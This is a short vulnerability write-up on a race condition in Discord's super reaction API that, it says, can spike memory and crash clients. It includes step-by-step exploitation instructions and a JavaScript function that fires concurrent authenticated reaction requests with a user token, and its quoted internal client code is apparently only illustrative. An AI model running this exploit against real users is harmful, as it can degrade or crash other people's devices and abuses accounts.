This paper examines a race condition in Discord's super reaction system that occurs when rapidly placing multiple super reactions through the API. When exploited, this condition causes all reactions to share the same animation state and creates unintended client behavior.
Discord's super reaction system was introduced as a premium feature allowing users to place animated "burst" reactions. The implementation uses a combination of REST API calls and client-side animation state management. This research explores how rapid concurrent API requests can exploit weaknesses in this system.
The super reaction endpoint follows this structure:
PUT /api/v9/channels/{channel_id}/messages/{message_id}/reactions/{emoji}/{@me}
Key request parameters:
location
: "Message Reaction Picker"type
: 1 (indicates super reaction)
When placing multiple super reactions in rapid succession:
- The client sends multiple PUT requests to the reaction endpoint
- Each request is processed independently by Discord's API
- The client receives multiple successful responses (HTTP 204)
- The client's animation manager attempts to handle multiple concurrent animation requests
The key issue occurs in the client's animation state management:
// Simplified version of Discord's internal animation handler
class ReactionAnimationManager {
private static currentAnimation: AnimationState;
private static animationQueue: Array<PendingAnimation>;
public static handleNewReaction(reactionId: string) {
// Race condition: Multiple reactions updating the same state
this.currentAnimation = {
id: reactionId,
startTime: Date.now(),
burstColors: this.getColors(reactionId)
};
// Animation state becomes shared between all reactions
this.playAnimation(this.currentAnimation);
}
}
- Multiple super reactions are placed simultaneously
- All reactions adopt the animation state of the last processed reaction
- Memory usage spikes as animation resources are loaded but not properly cleared
- Client may become unresponsive due to animation thread blocking
- Touching any reaction triggers animations for all reactions
- Animation states become globally synchronized
- Increased battery drain and performance impact due to unnecessary animation processing
When exploiting this condition:
- Normal super reaction: ~2-5MB memory usage
- Race condition with 5+ reactions: 50MB+ memory usage
- Extended exploitation can lead to client crashes
- Capture the super reaction API request format
- Create multiple concurrent requests (5-10 is sufficient)
- Send requests with minimal delay (<100ms between requests)
- Observe as all reactions share the same animation state
Example exploitation code:
async function triggerRaceCondition(channelId, messageId, emoji) {
const requests = [];
for(let i = 0; i < 5; i++) {
requests.push(fetch(`https://discord.com/api/v9/channels/${channelId}/messages/${messageId}/reactions/${emoji}/@me?location=Message%20Reaction%20Picker&type=1`, {
method: 'PUT',
headers: {
'authorization': 'user_token',
'x-super-properties': 'base64_encoded_properties'
}
}));
}
await Promise.all(requests);
}
- Memory leaks from uncleared animation states
- UI thread blocking from animation synchronization
- Increased CPU/GPU usage on mobile devices
- All reactions display the same animation
- Clicking any reaction triggers all animations
- Potential client crashes on low-memory devices
-
Discord Internal API Documentation (2024)
- Rate Limits: https://docs.discord.sex/topics/rate-limits
- Gateway Events: https://docs.discord.sex/topics/gateway-events
- Message Reactions: https://docs.discord.sex/resources/message
-
Discord Client Properties Documentation https://docs.discord.sex/reference
-
Discord Gateway Documentation https://docs.discord.sex/topics/gateway
-
Discord OAuth2 Documentation https://docs.discord.sex/topics/oauth2